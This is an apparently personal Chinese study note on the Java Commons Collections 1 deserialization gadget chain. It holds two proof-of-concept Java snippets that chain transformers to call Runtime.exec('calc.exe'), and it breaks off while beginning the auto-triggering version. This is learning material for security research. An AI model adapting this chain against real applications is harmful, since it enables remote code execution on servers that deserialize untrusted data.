反序列化分析(二)--CommonCollections1
链子分析
-
首先新建一个TransformedMap,其中二三参数为可控,后续要用到
-
当TransformedMap执行put方法时,会分别执行transformKey和transformValue方法
-
可以看到,两个方法中,都有transform方法,但参数不可控
- 找能触发InvokerTransform的transform方法,而且是无需借用外部传参的那种
分析cc链的时候,最大的体会就是分析可以,但不明白为什么可以想到这么绝的方法?火候不够.
- 可是要执行invokeTransform,那就又少不了外部传参加以控制..
先不管这个ChainedTransformer怎么想到的,就假设已经知道了这个可以把前一个结果当作后一个函数的参数就好了
-
那就说明,还要找一个transform实现类,能够返回Runtime
- 这个类可以返回一个对象,而imap为可控,所以只要知道了input的值,例如为trick,那么iMap['trick']就可以返回一个Runtime,从而可以完成既定目标(但这个还是要借助外部参数,但可行性较高,毕竟一般不会传Runtime作为键值对,但会传一个字符串,感觉又有点像php链子的找法了)
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//创建一个含有Runtime的map
HashMap<String, Runtime> stringRuntimeHashMap = new HashMap<>();
stringRuntimeHashMap.put("Aur0ra", Runtime.getRuntime());
MapTransformer mapTransformer = (MapTransformer) MapTransformer.getInstance(stringRuntimeHashMap);
//传进去作为第一个transformer类
Transformer[] transformers = {
mapTransformer,
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
outerMap.put("name","Aur0ra");
}
其中部分的数据需要同步
因为最后相当于是从那个map中获取指定键的值,所以map构造,以及put的时候,需要注意同步性
-
可以看到上面的确实可以利用,但前提是知道put的内容,还是有缺陷.所以看下下面官方给的链
-
这个是完全无需借助不可控变量的
-
返回的是类中的某个元素,所以是可控的,且与传进来的参数无关
public static void main(String[] args) {
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
outerMap.put("name","Aur0ra"); //任意值,只要有put动作即可
}
- 至此,从TransformerMap->chainedTransformer->ConstantTransformer&InvokerTransformer这条链已经分析清楚了.
一遍下来,有些地方和php链还是相似的,只是说有些trick的跳度稍大,没有开发基础的,比较难以理解(比如我).
完善成可利用的POC
上面只是一个样例POC是手动触发的,现实中还需要一个会自动触发的点,对该Map进行写的操作.所以要先找一个类其中包含可控map,且存在自动触发的反序列化点.
在找AnnotationInvocationHandler的时候,用import导入一直显示没有,但都下了几个jdk,都没有都快放弃了,结果突然发现,标识它不是public类,所以无法被import导入,,,,直接整